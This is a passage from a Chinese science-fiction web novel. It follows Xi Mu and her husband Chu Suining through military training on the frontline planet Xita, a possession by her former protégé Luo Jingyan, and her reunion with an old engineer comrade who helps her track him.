有了席暮做示范,大家很快就都找到了方法,毫不示弱企图追上席暮的步伐。
“那就是席暮?”观察室内,屏幕上全方位展示着所有人的状态,每个人的身体被光脑捕捉同步,并经过分析汇总到了这里每个人的手上。
“席羽的那个女儿?”
“是。”
“看起来还不错。听说她还带着伴侣来了?”
“现在年轻人真是不得了,家庭事业样样美满,啧,真叫人羡慕~”
“羡慕?”卫炽春斜睨了说话的人一眼,“想结婚我可以随时给你介绍一个。”
“可别,可别耽误人家。”那人眼睛弯弯连连摆手,“只是想不通日子都这么美满了,怎么就想着来西塔了。”
“西塔怎么了?”刚才一直认真看数据的楚攸冷不丁开了口,莫名的语气让众人都有些讪讪。
“咳咳,楚上将,我不是那个意思。”
“有闲聊的功夫不如好好筛一筛人,谁要是觉得不在乎,剩下的人我就全分给谁。”
这下再没有人说话了,全都专心致志盯着屏幕去了。
“刚才提到的那个席暮的伴侣呢?”只是谁都没想到,没一会在开口的会是楚攸。
“报告上将,他现在在宿舍。”
“让他一起去训练。”楚攸敲着光脑,十分不喜欢这个多出来的人,“他的伴侣正在训练,作为伴侣,她们应该共进退。”
“这……”众人不由有些迟疑,面面相觑起来。
卫炽春更是直接皱起了眉,“上将,他只是个普通人。不可能承受这种训练强度。”
“席暮当过兵?”楚攸抿着唇,神情睥睨,眼皮微微低垂,“既然她行,她的伴侣怎么就不行?卫炽春,这是命令。”
“……”卫炽春猛地站起,一摔桌子,走了。
“楚岁宁是吧?从现在开始,你需要和席暮一起进行训练,跟我走吧。”
楚岁宁是被从睡梦中强行惊醒的,对卫炽春此时的话做不出一点反对,只听到了跟着走,所以就跟上了。
“你就没什么想问的?”卫炽春无法直接违抗楚攸的命令,所以她希望楚岁宁能想起什么可以拒绝这个命令。
陛下嘱咐过她,要格外注意这个楚岁宁,还专门为楚岁宁准备了“影子护卫”。可这些卫炽春还没有彻底安排好。
“嗯?”楚岁宁已经清醒了不少,已经从空气中捕捉到了针对他的恶意,虽然因为距离并不多,但很莫名。
认出了对他有恶意的人是那天公爵说长的像故人的那位,楚岁宁就更莫名了。他不知道为什么会有这样的恶意,但楚岁宁知道一件事面对这样的恶意,他只要沉默就好。
“……”
楚岁宁被送进了训练场,而此时,席暮已经跑完了大半的路程。
如果说其她新兵刚进入训练场时是站立不稳,那么此刻楚岁宁可以说差一点就要被吹跑了。
紧紧扶着旁边的柱子,楚岁宁伸长了脖子去找席暮的位置。
“时间还剩下半小时,若半小时后在场人中还有人未能完成十公里,那么所有人再加十公里。往后计时,规则同样,累积不计上限。”
楚岁宁的存在格外显眼。
“喂,你!别傻站着!你给我跑啊!”很快就有人朝着楚岁宁开始喊,声音急切。
若单十公里,没有人会觉得累。可一直保持着精神力输出还要面对不断增加的负重,要是十公里又十公里,这谁能受的住!
“席暮!你家那位也被送进来了,你听到了所有人都要完成任务!他不能拖大家后腿。”
快跑几步追上的席暮,唐珂水喘着气提醒。
席暮果断再度加快了速度,唐珂水看着她的背影,沉默片刻,咬着牙恶狠狠骂了句变态!
很快,席暮就看到了站在路旁被不断催促的楚岁宁。
脚步一转,伸出手。
楚岁宁立刻伸手,被席暮拽着踏上了跑道。
“利用精神力去除这些风的影响。你有负重吗?”
楚岁宁一点就通,风的影像消失他也就不需要席暮的带领,席暮松开了手。
“没有负重。”
总算做了点人事。席暮扭头扫了眼天空,“是谁去找的你?”
“她没有说名字,不过,应该是席暮你认识的。”在来西塔前席暮就纠正了楚岁宁的称呼。
“卫炽春?”席暮一下子就猜到了人,“是对我不满?”
“不是,是有人不喜欢我。不是席暮你说的卫炽春。”
“……”对自己还真是有自信,席暮有些无奈,谁会闲的没事针对一个什么威胁都没有人?
见席暮不信,楚岁宁也不解释为什么,“是那天席暮你说像故人的那位。”
一张脸迅速在面前闪过。
这下席暮有点相信楚岁宁说的话了,这么明确的人选不像假的,“她也看不惯我?”
“她对席暮你没有任何恶意,反而对你很有好感。”
席暮瞥了他一眼,“你都不知道人在哪。”
“啊啊啊拜托!两位别聊了!时间不多了,他能跑完十公里吗?!”身边有人发出了哀嚎。
席暮神情一凛,不爽地板起脸,“平安,你忍一忍。”
“啊?”话音刚落,楚岁宁就被席暮扣住肩膀,整个人在席暮的强力拉扯下快速移动。
“我靠!”此起彼伏的惊呼声在楚岁宁耳边响起。
在最后一分钟,楚岁宁跨过了十公里的线,人群中瞬间爆发了一阵欢呼。
“牛逼啊姐!”
“安静!”然后,凡人的广播声再度响起,“热身运动结束,所有人,原地坐下,开始理论课程学习。”<
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p>有病!这是每个人心里下意识闪过的评价。
经过刚才的锻炼,她们的精神力早已濒临枯竭,现在还要在这里学习?!
但没有人在乎她们的心情,课程按时开始。
两小时的理论课程后,是两小时的实际操作培训,之后经过一个小时的午饭时间,接着两小时的理论课程,再然后是两小时的战斗训练,最后又是两小时体力训练。
而这样一天的训练,全都不能离开这里。
晚上八点,一天的训练终于结束。
“……”
精神力的透支和体力的透支让每个人都变得沉默。饶是席暮,在这样的强度下也有些灰头土脸。
而靠着席暮的楚岁宁已经丧失了走路的力气。
“席暮,回去之后我帮你舒服,你能不能背我回去?”
旁边走过的人麻木的眼神中终于有了一丝异样的光彩。
席暮眼睛一闭,咬牙,“没力气就闭嘴。”
心情不好动作就粗暴了些,席暮将楚岁宁直接扛起,架在肩膀上就往回走。失去了一切力气的楚岁宁安详的闭上了眼睛。
“……”唐珂水扯了扯旁边人的袖子,“你有对象吗?”
“够了!”那人白着脸低吼了一句,捧着一颗被扎透了的心快步走了几步,远离了唐珂水。
“上将,今天这个训练量是不是不太合适?如果半个月后这样我觉得合适,但她们毕竟都是新兵。”
“没什么不合适的。”楚攸合上被她记录了一天的本子,“现在我们需要这样做。”
“会有人坚持不住的。”
“那就滚。异种可不会和她们过家家。”楚攸嘴角向下,情绪明显不高,“够了卫炽春,别以为你是陛下器重的就可以越过级位对我指手画脚!”
“还有,陛下说的那个影子护卫我不同意。那些辛苦训练出来的士兵我决不允许她们成为某个无能人的护卫。”
“而且,这是在军中!能有什么危险。”
卫炽春还想说,楚攸手一竖,“除非陛下亲自站在我面前,否则一切都没得商量。”
卫炽春只能应是。
“公爵,我们今天一起睡。”被扔到了床上的楚岁宁出声挽留,“我们握着胳膊或者碰一碰就行,这样不是对公爵有好处吗?”
自从那天之后,让席暮舒服就好像成了什么楚岁宁的执念一样,但凡有机会就一定要提一提。
但席暮又不好骂她,毕竟也是为了她好,而且也没有什么奇怪提议。
没有了触手,没有了间接接触,席暮已经预感到了明天早上醒来会有个怎样糟糕的体验。
所以,席暮很是心动。
但最终席暮还是拒绝了,和男人躺在一张床上(在她清醒的时候)这种行为,席暮觉得她还是不能接受。
“好吧……”楚岁宁明显很失落。
一天的疲累后,席暮迅速入睡。
“初黎!初黎!初黎!”那些在梦中模糊的声音不知为何突然清楚了许多,众多声浪汇合在一起冲击着席暮的睡梦,只会让席暮越睡越难受。
月光下,熟睡的席暮眉头已紧紧蹙紧,身体不自觉佝起。
29. 第 29 章
而在西塔的某个角落,有一个人的眼睛亮起,他找到了,大人离他如此之近,太好了!他很快就可以再见到大人了!
只是这一切席暮无从得知,她只知道在西塔,睡梦中受到的影响是成倍的,可偏偏这个时候楚岁宁这个过滤器又不能使,啧,真让人不高兴……
训练一天比一天更折磨人,席暮的状态肉眼可见变差,那些本来因席暮表现出色而向席暮展露了善意的新兵,现在连靠近席暮都不敢。
“席暮。”与此同时,楚岁宁也没有放弃向席暮推销自己,双赢的事情为什么公爵就是不愿意呢?楚岁宁可以感受到席暮的抗拒和坚持,但他不能理解这一份情感是从何而来。
这世间感情千千万,楚岁宁全都在他人身上感受到过,却早已丧失了亲身理解这些情感的可能。麻木着习惯了,楚岁宁也就忘记了,直到在席暮那里重新体会到了。那是与从别人身上闻到情感截然不同的体验,如此令人着迷。
在这样的拉扯下,一个月时间飞速流逝。这一个月,一共有四十六名新兵选择放弃,退出了启明军。
“恭喜你们,战胜了自己。”楚攸站在临时搭建的看台上,一向绷着的表情终于有了舒缓,“我很高兴看到诸位选择继续站在这里,启明不会辜负这一个月你们在训练场上流下的每一滴汗水。现在,根据这一个月你们的训练结果,我们将会进行排名,最终排名前十的十位将会代表启明前去参加大比!”
这场排名与席暮无关,她此刻已经佩戴好肩章站进了军官的队伍中,和其她军官一起检视这批新兵的最终训练结果。
“嗡嗡嗡!”正当楚攸宣告名单时,军营中突然响起了刺耳的警报声。席暮猛地抬起头,精神空间内的触手开始躁动,攻击欲望毫不掩饰,而在席暮的视线中,灰蒙蒙的天空突然飘来了一片阴影,一片连绵不绝一眼看不到尽头的阴影!
“所有新兵立刻回宿舍,不允许外出一步!若有违反,生死自负!”楚攸脚尖一点,像一颗炮弹一般冲上了天空,只留下了声音,“其余所有人立刻警戒!”
异种来了。
在西塔,这并不令人陌生,人们早已总结出了一套生存守则。只是对于这些新兵,这足以令人恐慌。
席暮仰着头直直盯着那片阴影,从投下的阴影来看,这次入侵的异种种类不多,但数量极多——一场大型进攻前的探查,席暮甚至已经猜出了这批异种有哪些了。
也正因此,席暮十分镇定,异种的探查部队并没有多少战力,无需考虑此时的危险。只是,席暮自己都没意识到她皱起了眉,早在当初席暮利用异种这个特性狠狠坑了一波异种之后,异种早已吸取教训,不再派出规模如此之大的探查部队,可为什么这么多年后,再度席卷而来的异种却?
作为后勤处的一员,此时反倒是最繁忙。为了避免被异种探查到西塔内部的具体情况,她们必须在一分钟内升起星球屏蔽护罩,初来乍到的席暮被命令跟在核心的中尉身后,随时准备接过中尉的职责,持续注入精神力以保证护罩的顺利开启。
“!!!”无形的声波穿过大气层,却被及时升起的护罩挡在外面,并向外推去。
屏蔽护罩顺利张开,所有人都松了口气,席暮再抬眼看向天空时,果然就已经能看到那些阴影在撤退。但有第一次就有第二次,达不成目的,异种永远不知道放弃。
异种只需要不断派出探查部队,但人类却需要一次又一次及时张开护罩,一旦有一次出现意外,异种成功获取了重要信息,那么下一次就是一场全面进攻。这是西塔内每支军队都知道的事,但她们却无可奈何。
自远征军开始对抗异种,这些年来,异种一共组织过五次进攻,一次比一次猛烈,军队的牺牲一次比一次大。正因此,启明才会诞生,只是目前来看,启明的成立对异种来说构不成任何威胁。
这也是楚攸心焦所在。
“辛苦了,回去休息吧。”既然护罩已经成功升起,那么她们的职责已经完成。
中尉离开了,而席暮则需留下学习如何维护护罩。
“上尉,就没有考虑过反攻?”席暮低着头学习操作面板,却在卫炽春经过时开口问了句。
卫炽春眸光一暗,“试过。”
可是结果就是,那支先遣队全军覆没,三千人,什么都没剩下。
“没有人能找到异种的巢穴,而只要巢穴不被摧毁,那么就会有源源不断的异种诞生。”
卫炽春扯了扯嘴角,露出了一个嘲讽的笑,“我们追踪那些异种的探查部队,然后在某个瞬间,先遣队突然消失,所有信号瞬间消失,直到三天后,空无一人的星舰重新出现……”
巢穴……席暮舔了舔唇,记忆开始浮现,曾经地星上是有一个巢穴的。
“没有见过巢穴,那你们有见过一只巨大型的异种吗?”其实这样的问题对席暮来说很超过,已经明晃晃表现出了她的异常。
只是卫炽春全然不知,反而开始顺着席暮的话思考,“有,情报中有过一只巨大异种的身影,‘鲲鹏’,这是我们对它的称呼。”
“那你们有没有想过,在异种身形普遍不超过一个人大小的族群中,为何会存在这样一只异种?”
“你是说?”卫炽春猛地抬起头,神情惊疑不定,“巢穴和‘鲲鹏’有关?”
“为什么那只‘鲲鹏’不能就是巢穴?”
如果不是亲眼所见,席暮也很难相信,巢穴会是一只会动的有生命的生物。
“!!!”卫炽春瞪大了眼睛,席暮所言是真是假她难以分辨,只是席暮的话确实提供了一种可能性。
快速扫了几眼席暮,卫炽春迅速扭头想向楚攸所在跑去,她要立刻向上将汇报这种可能。
席暮勾起嘴角,只要不是太蠢,应该都能想明白这条情报的真实性。
只要是异种,是生命,那就意味着可以可以伤害甚至被摧毁!
天色渐晚,席暮也终于可以休息。在食堂吃了顿晚饭,席暮回到了宿舍。
伸了个懒腰,席暮诧
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异于今天居然没在门口看见楚岁宁。
终于放弃了?
挑了下眉,席暮推开了楚岁宁房间的眉,然后就看见了一个四仰八叉,一半在床上一半在地上睡着的人。
……这个姿势是怎么睡着的?
席暮不理解,但席暮心善,好心帮人送回了床上。
“还是你心大,异种这么大阵仗你是一点没感觉啊。”
或许是受了影响,今天的触手格外不听话,在楚岁宁身旁时,它们根本控制不住一点。
席暮不耐烦啧了声,在精神空间内施加的压力又重了几分。
“公爵……”不知何时楚岁宁睁开眼,发出了熟悉的呼唤。
“够了平安,你不累吗?”席暮转过身,捂着额头满脸无语,“每天都是这样,怎么也该换个花样了吧?”
“大人!”
!席暮眼神一凝,熟悉的感觉自心底蔓延开来,楚岁宁从不会这么叫她。
“……骆景彦?”迅速锁定了一个名字,席暮眯起眼,已经准备好要给人一个大比兜了。
“是,大人。”只是不知是否是心虚,骆景彦并未真人前来,只是操纵着楚岁宁继续回答,“果然只有大人能一眼就认出我是谁。”
听上去还有些幸福的语气。
“不来见我?”席暮的精神力迅速铺开,百年前,骆景彦的本体和控制对象之间的距离不能超过十米,那么现在,极限会是多少?
“我不敢见大人。”从蔺宵那他已经知道自己的行为完全暴露,大人绝不会原谅,他不想看见大人厌恶的表情。
再等一等,等一等,等到仪式彻底完成,大人忘记之前的一切,骆景彦想,到那时,他一定第一个出现在大人面前!
“我知道我们做错了,不敢奢求大人原谅,只希望大人明白我们为什么会这么做。”
其实他今天不该来的,只是在找到大人之后,每日看着这个该死的楚岁宁勾引大人,恬不知耻,下贱无比,他实在忍不住了。
“呵。”席暮一时没忍住笑出了声,居然还存在幻想,果然她当年不会养孩子,教出了这么些个不要脸的东西。
“滚出这具身体。今天不来见我,以后再敢出现,那就是以叛徒处理。”彻底失去了耐心,席暮表情一冷,“我当年怎么对待叛徒的,你们应该清楚。”
“大人!”骆景彦惊呼出声,“大……”
然而没等骆景彦话说完,楚岁宁眼睛突然闭上,再睁眼时,眼神就恢复到了那个席暮熟悉的楚岁宁。
“平安?”
“公爵?”楚岁宁环顾四周,歪着脑袋似乎很迷茫,“刚才我好像做了个梦。梦里我被困在在一个黑房间里,然后有人假扮成我说了很多奇怪的话。”
“那不是梦。”席暮拍了拍他的脑袋,“一个叫骆景彦的人刚才抢占了你的身体,这就是他的异能。”
“也是公爵的孩子吗?”楚岁宁回忆了下刚才梦里听到的对话,“和蔺宵对公爵你的称呼一样呢。”
30. 第 30 章
席暮冷笑了声,并未直接回答楚岁宁的问题,但其实答案已经显而易见了。
“公爵,那我觉得你有必要狠狠收拾他了。”楚岁宁从床上爬起,刚才的被占据身体对他似乎影响很大。
“他做错了事,自然是要受罚。”楚岁宁难得表露出报复的想法,席暮居然还有些欣慰。
楚岁宁一边点着头一边在房间内寻找着什么,很快,他在地面捡起一小块黑色皮肤组织,“公爵,刚才那个人和异种肯定有关系,你看。”
小心捏住楚岁宁手上的东西,席暮抿起唇,这的确是异种身上的皮肤组织。
“……”席暮沉默。
公爵变成了一座即将喷发的火山,那些愤怒的情绪被压在心里蠢蠢欲动,对楚岁宁来说,嗯,现在的席暮非常可怕。
“公爵?”将那块皮肤组织吹走,楚岁宁双手握住席暮柔软的手心,“生气要表现出来。”
“谢谢,但是我现在很冷静。”如果说之前的种种席暮的态度是愤怒,那在知道她养大的崽和她明面上的死敌混在了一起后,席暮唯余失望。
以至于现在的席暮有些提不起劲去做些表情。
“你很生气,很愤怒。”手心传来了温暖的温度,以及轻柔的拍抚,席暮眼珠子一转,目光落到了楚岁宁脸上。他仿佛已经看透了她,完全不管席暮说的话。
“你觉得我对你怎么样?”短暂的沉默后,席暮突然开口问了个毫不相干的问题,刚才的情绪眨眼之间就消失无踪。
“很好啊。”楚岁宁虽然不理解,但如实表达了自己的想法,“公爵是很好的人。”
“可是,你好像还有事情瞒着我。”席暮一直没有收回手,两个人交缠着,也方便了席暮反手钳住楚岁宁的手腕,“你好像,很确定我刚才是愤怒的?”
楚岁宁身体一僵,眼睛睁大,“公爵……你真的很敏锐。”
所以,他真正的能力是可以读懂他人的情绪?她的一切情绪变化都能被他知道,那这和被人看穿了底牌有什么区别?席暮猛地收回手向后退了几步,“所以,你一直都能知道我的想法?”
“不,只有情绪,我只能感知到你的情绪变化,但具体你想了什么我不清楚。但能猜到一些。”楚岁宁知道瞒不了席暮太久,只是没想到这一天会这么快,而且,直觉告诉他,一旦公爵知道了他的真正能力,一定会讨厌、或者厌恶他。
果然,公爵身上很快就聚起了浓烈的厌恶情绪,看向他的目光也有了很大转变,“怎么屏蔽你对我的感知?”
“……”楚岁宁抿紧唇,如果他要是知道就好了。
“远离你可以吗?”想到之前楚岁宁喜欢往她身边靠,还有上次她突然能嗅到楚岁宁身上情绪的味道,这一切的原因都清楚了,席暮眼中情绪淡了几分,“你之前说在我身边会有帮助,我身上什么可以屏蔽你的能力?”
楚岁宁只能不断摇头。
“行,我知道了。我会找到方法的。在这之前,你不要和我出现在同一空间。”说完,席暮转身就走,连个眼神都不再愿意留给楚岁宁。
心脏处不知为何有了些痛感,可当楚岁宁伸手按压心脏时又感觉不到痛。楚岁宁有些无助,那些收藏的书籍中没有告诉过他现在这种情况他该怎么办,向公爵道歉吗?
他是做错了什么吗?楚岁宁不懂,只是想让公爵开心一点,他就必须找到屏蔽能力的方法。嗯,就这么办,尽快找到方法,然后向公爵道歉。楚岁宁点着头拟定了计划。
此后的一个月,楚岁宁再没见过席暮,明明就住在一个屋内,他也能感觉到公爵的情绪,只是那些情绪是压抑的,不断变换着的,应该是公爵知道他能感知到,不想让他具体感知,于是强迫自己去想些别的什么。
一波未平一波就起,异种的问题没有解决,骆景彦也需要解决,身边就又出了更大的问题。席暮按下眼前的自检按钮,看着进度条一点点向前挪动,太阳穴一跳一跳的,更重要的是,梦中的祷告声严重影响了她的睡眠。
啧,席暮捂着脑袋不爽地发出了感叹,都是楚岁宁的问题。要不是他突然给了她一个惊喜,席暮肯定不会这么被动。不过,既然楚岁宁的能力能帮她过滤梦中的祷告,她又讨厌那个能力在楚岁宁身上,能不能把这个能力从楚岁宁身上拿走呢?
灵感突然闯入了脑中,席暮颇为心动。只是片刻后,席暮就将这个想法扔到了脑后,异能与精神力息息相关,对异能动手就必然会触动精神力,别到时候真把人变成了傻子。
她真是有病。席暮面无表情在脸上拍了一下,既然解决不了楚岁宁,那还是解决梦里的祷告声好了。
祷告声来自哪?跟辜原有关,而辜原在做的事骆景彦肯定清楚。很好,事情清楚了,重点目标——骆景彦。
完成今日任务后,席暮快步走到了一扇银白色的门前。光脑闪烁着红色的权限不足、禁止入内的标识,而随着席暮的靠近,那红色的闪烁越发快速,随时都会发出警报。
看了眼左上角的监控,席暮停下脚步。在这扇门的背后,是特别顾问的办公室,为了他的安全,因此设了重重防护。通过光脑递出了约见申请,申请理由那一栏,席暮只留了一个小小的标志。
席暮并不担心这个申请不会被尤启鼎看见,在启明的这段时间她也了解了不少情报。毕竟尤启鼎本人是顾问不是什么禁忌,所以他会亲自审理那些约见他的请求,只要你能提出他刚兴趣的问题,尤启鼎就一定会见你。席暮对机械不了解,但她有能作弊的东西。
十分钟后,眼前的银白色门轰然打开,一道人影匆忙从门内向外跑来,然后就被席暮拦下了。
“你好,尤老。刚才的约见申请是我发的。”席暮亮出光脑,而在光脑上,那个特殊的标志吸引了尤启鼎的所有注意。
“你、”尤启鼎的声音有些干哑,黑色眼镜框后的略显浑浊的眼睛紧紧盯着席暮的光脑,好半晌才恍惚转过头,和席暮对上视线,“你!”
“在外面聊事情不方便吧?”
“你进来,你进来。”尤启鼎让开路,伸出胳膊示意席暮向里走。
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>门在背后关上,打量着眼前这个很大但异常简陋的房间,各种机械部件堆在地上,房间正中央是一抬组装到了一半的机械骨骼,席暮越过地上那一小堆黑色的零件,挑挑拣拣好不容易才找到一把椅子。
“都不收拾收拾?现在智能管家这么发达,找个家政机器人帮忙收拾下不就行了?”席暮的语气是熟稔的,有些嫌弃的。
尤启鼎站在门口,神情恍惚,仿若还在梦中。这个走进来的人,无论身形还是外貌,没有一个能和他记忆中的那个人对得上,可是,这个语气,几乎是瞬间就唤起了他的回忆。
“你……您,”尤启鼎嗓子发干,欲言又止,“那个标志……”
“我记得你虽然不怎么说话,但不是结巴吧?”席暮坐下,掀起眼皮唇角勾起,“还是说,你的纯粹世界被打破了?”
“行了,我们小队的标志总不至于认不出来吧?现在还活着的小队成员也不剩几个了,你就当我是她们之中某个人的后代吧。”席暮也不想把人吓出个好歹来,随口就编了个借口。
尤启鼎哭笑不得,他总算有了些实感,是这个性格没错。“还是和以前一样来杯红茶?”
“嗯哼。”席暮哼了声,身体随着椅子转了一圈,“不过你这里有红茶?”
推开一个机械零件堆起的小山丘,其后的一个柜子才重见天日,在里面找了找,尤启鼎抱着两个杯子和一盒茶叶走了过来,“有,就是不常喝。”
“一点都不怀疑我?”席暮挑起眉,有些惊奇,“还以为你会多问些问题的。”
“你都说了是故人后人,那有些问题也不必再问。更何况,”尤启鼎笑了声,“当初没看见尸体,不相信你死了的又不止我一个。比起这些,我更惊讶的是你会来找我。”
“哦,其实一开始是不想的。”掏出怀里的装好的组织碎片丢给尤启鼎,席暮端起茶杯深吸了口气,“但有个问题要解决。需要检测一下这个,然后问问你有没有找人的机器。”
“异种?”尤启鼎露出了个果然如此的表情,“现在的帝国你满意吗?”
席暮不想回答这个问题,“跟骆景彦有关,他跟异种有关系。”
“……”尤启鼎脸上的表情就跟见了鬼似的,“他们知道你还活着?甚至知道你在哪?等等,不会你能活过来?”
“猜对了。”席暮耸了耸肩,果然还得是老朋友了解啊,都不用她多说什么,“一睁眼就这样了。那几个兔崽子胆子越发大了。”
“嚯,小瞧他们了。”尤启鼎有些嫌弃地晃了晃那些组织碎片,“当初他们就看我不顺眼,你死后,他们是一个比一个疯,差点把你建好的基地直接拆了,他们倒跑得快。没想到,还有再跟他们打交道的时候。”
“好了,三天,给我三天时间,给你想要的。”
“靠谱。”席暮捧着茶杯跳下座椅,就要离开。
“但不管怎么样,”尤启鼎深吸了口气,声音有些颤抖,“欢迎您回来,希望现在的帝国能让你满意。”
席暮背对着他挥了挥手。
31. 第 31 章
尤启鼎做事果然很有效率,说是三天但实际两天就为席暮找到了骆景彦的位置。
“离我们很近,而且越来越近了。”红色的小点在尤启鼎的光脑上缓慢移动着,可以看出来红点的目的地正是他们的驻地。
随着一声意义不明的轻笑,席暮将手中的红茶倒进了旁边植株的盆里。
尤启鼎知道她不高兴了,有意想缓和一下她的情绪,于是生硬转移了话题,“我听说你结婚了?”
知道席暮身份之后,想要更了解她对尤启鼎来说是轻而易举,打听一番后,尤启鼎那叫一个瞠目结舌。
结婚?席暮?!天哪,真不是他在做梦?
更别说,她还把结婚对象带到了军营里!如果不是真的喜欢,怎么能让她做到这种地步。
因此,还未见过面,尤启鼎对那个楚岁宁就已经充满了好奇。
也因此,此时他第一个想到的就是楚岁宁,本以为席暮情绪会缓和却没想到,席暮竟直接拉了脸。
他说错话了?尤启鼎心中惴惴不安,忐忑开口,“你很讨厌楚岁宁?”
“啧。”好不容易让自己忽略了某人的存在,结果突然又被提醒了,席暮脸颊微微鼓起,不爽啧了声。
这个态度?尤启鼎眯起眼睛,事情有意思起来了。
“怎么说?”光脑被丢到一边,反正能定位到骆景彦一次就能定位第二次,他不重要。但堂堂救世主大人的八卦可不是什么时候都能听到的。
“能让您露出这种表情,这个楚岁宁不简单啊。”尤启鼎给席暮添满茶杯,还不忘自己来了杯热牛奶,双手撑着桌子,满脸兴致。
“……”席暮翻了个白眼,真想把杯子里的茶泼到对面这人脸上。
简单描述了下两人之间的事,席暮等着尤启鼎的看法。
红茶升腾的雾气模糊了席暮的面容,让尤启鼎有些看不清她的表情。
但尤启鼎相信他自己的表情一定很精彩,“您,还是一如既往,喜欢养孩子啊。”
“但是,”尤启鼎有些费解,“或许是因为楚岁宁的外貌和年龄都和孩子有着明显区别,所以大人您其实没有办法真正将他视作孩子。”
是这样,席暮承认尤启鼎说得对。
“所以,其实最重要的还是大人的态度。”尤启鼎脚尖用力,让自己转了起来,“若大人能够真正把他当成孩子,就算是感知情绪的异能又如何?大人不会在乎的。”
骆景彦、辜原和蔺宵的异能一个比一个离谱,席暮却从来都没在乎过。
所以问题就在这里啊,这一点就很难。之前楚岁宁刚刚变傻,脱口而出喊她妈妈的那一刻,席暮真切心动了。
只是,这样迷糊的楚岁宁很快消失,真可惜。
“要不?”尤启鼎看出了席暮的心动,身体微微前倾,“我给他洗个脑?”
“你多大了?”席暮又想叹气了,“和万辛都多久没见了,怎么说话做事还跟她一模一样。”
尤启鼎表情僵住,默默坐直了身体,“您又来这一套。”
明明知道他不想听到这个名字,可每每想转移话题就提她。
“这么多年她就没来找过你?”尤启鼎的大名只要稍微调查就能查到,那么这么多年两人没见面还能是因为什么呢?
席暮看了一眼尤启鼎,后者嘴角明显耷拉了下去。
“她还是一如既往的无情。”席暮面无表情吐槽,都快一百年了,“就真的打算一辈子都这样了?”
尤启鼎眼皮低垂,笑容苦涩,“您还真是,一开口就是戳我痛处。”
“抱歉。”席暮抿起唇,“我以为你们之间只是小误会。”
她离开时她们之间的关系不是已经有所缓和了吗?
“当初您的离去对她打击很大,你也知道她性格,所以她追了过去。”大概是这段回忆对他来说过于痛苦,以至于多年后他再度阐述这段经过时,仍不能避免露出痛楚的神情。
“我没能拦住。在最后的反扑中,我失去了我的孩子,我没有办法原谅。”尤启鼎捂住脸,声音逐渐颤抖。
席暮呼吸一窒,“对不起,我……”
“和您有什么关系呢?”尤启鼎抬起头,眼眶微红,“只怪我没能早些发现孩子的存在。所以,我谁也不怪,只恨异种。”
但这个不幸的孩子还是成为了横亘在两人之间的一道鸿沟。
“其实她来找过我一次,但我那个时候心情很差,所以她就走了。”
“好了,不说这些了。大人,明明刚才我们谈的是您的问题吧?”
席暮这下不转移话题了,“好吧,那说回楚岁宁。你觉得有没有可能拿走他的异能?”
这下尤启鼎也顾不上难过了,他瞪大了眼睛,“等等大人,我只是想给他洗个脑,结果您想给他开个瓢?”
“没有那么夸张吧。”怎么说的她是什么大反派是的,席暮撇嘴。
“大人,您现在的幽默感有所提升。”当初对精神领域的探索可是大人一手主持的,所有研究结果没有人比她更了解。尤启鼎知道席暮绝不会这么做,所以根本没把这句玩笑话当真。
席暮撇了撇嘴,她虽然只是想想,但要真的威胁到她了,她也真能下得了手。<
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p>“或许,我应该先见见楚岁宁?”尤启鼎准备换个思路,“了解他是什么性格之后或许就有了更好的解决办法。”
“傻子一个。”席暮毫不犹豫下了评价。
“嗯?”尤启鼎以为自己听错了。
“你没听错,他挺大一个人,但人是傻的。”
那看来事情没有那么严重,大人也不是那么讨厌那个楚岁宁。席暮的评价在尤启鼎耳朵里转了个圈就出去了,一点没被他当真。
“我明白了。”
席暮也不去管尤启鼎究竟明白了什么,终于肯将注意力分给了骆景彦。
“他停住了。”下巴微抬指着已经停下的红点开口,“这个西区是什么地方?”
“难民聚集地。”
席暮愕然,她刚才听到了什么词?难民?这不是一百年后吗?
尤启鼎就知道席暮会露出这种表情,他心中软了几分,“在西塔成为防卫异种的前线后,难民就出现了。失去房子、失去家人,又找不到工作。”
“没有人管?”宿初夏在干什么?席暮手指摸索着茶杯柄上的花纹,眉头皱起。
“陛下从未放弃过她们,只是,在异种的不断侵扰下重建工作进展缓慢,然后在某些思想影响下,她们不再愿意相信我们。”话没有说完全,但席暮完全听懂了。
“邪教徒?”怎么又是这倒霉玩意,难怪宿初夏想要席暮帮忙查清楚军中被影响了多少,原来在军队之外已经有了这么严重的影响。
“是啊,除之不尽。”眼中尽是厌恶,“那些人无辜,又没有办法扭转她们的想法,只能将她们集中在一起。”
“太危险了。”席暮立即开口,“你们埋下了大隐患。”
尤启鼎又何尝不明白,只是上面人迟迟不下决定,他也没办法。
“而现在,和异种有着关联的骆景彦进入了这片区域。”放大地图,席暮声音严肃,“应该不可能只是路过吧?”
“按照大人您的说法,骆景彦和辜原还主导那场召唤您的仪式,甚至至今还在梦中不断呼唤您。”
“他们是想利用异种达成某种目的。”尤启鼎不知道具体目的,但凭着对他们的了解,猜也能猜出一些,“大人,您觉得他们先给您洗脑的可能性大不大。”
不是可能,席暮几乎可以断言,这是一定的。
闭上眼,愤怒在血管中流动,“我没有办法离开军营,你有办法吗?”
“简单。”尤启鼎立刻给楚攸发了信息,“只要跟着我就行。”
“好。”席暮在红点上一戳,力道很重,仿佛是下定了某种决心。
32. 第 32 章
楚岁宁已经很长时间没有见过席暮了。他趴在沙发上,感受着四周传来的情绪,但,没有他想要感受到的。
整张脸皱到了一起,此刻他竟然感受到了低落,只是这难得的情绪却不能让楚岁宁感到激动。
他,有点想见公爵,可公爵讨厌他。
“可是,这个能力我没有办法让它消失啊。”叹了口气,楚岁宁将脑袋埋进了柔软的枕头中。
然后,他猛地抬起头,他闻到了,来自公爵的异常愤怒的情绪。
他从没有在公爵身上感受到这样浓烈的愤怒,而且每分每秒这怒火都在更旺。
“不知道是谁这么过分!”皱起眉,楚岁宁骂了一句,公爵那么好的人能让她这么生气,一定是有人做了很过分的事情。
感知中,公爵开始了移动。楚岁宁有些蠢蠢欲动,他想跟过去,说不定还能替公爵出口气。只是不等楚岁宁有所动作,门口就传来了门铃声。
“?”
屋外的人楚岁宁不认识,但他好像对楚岁宁很熟悉。
闻不到任何味道,仿佛她的身上不存在任何情绪。楚岁宁毫不犹豫就要关门,甚至没给来人说话的机会。
但来人明显有备而来,她一把抓住门框,右手如同钳子一般钳住了楚岁宁。
“楚岁宁?”那人开口,“跟我走吧,有人想见你。”
楚岁宁没有任何拒绝的余地。在这军营中,几步就能碰见一位军人的情况下,楚岁宁就这么光明正大被带走了。
“止步!所有人无命令禁止离开。”哨兵拦住席暮。
席暮立刻出示了楚攸的口令,“奉命保护尤大师出门。”
走过流程确认了真实性后,哨兵不再说话,直接开启了门禁。
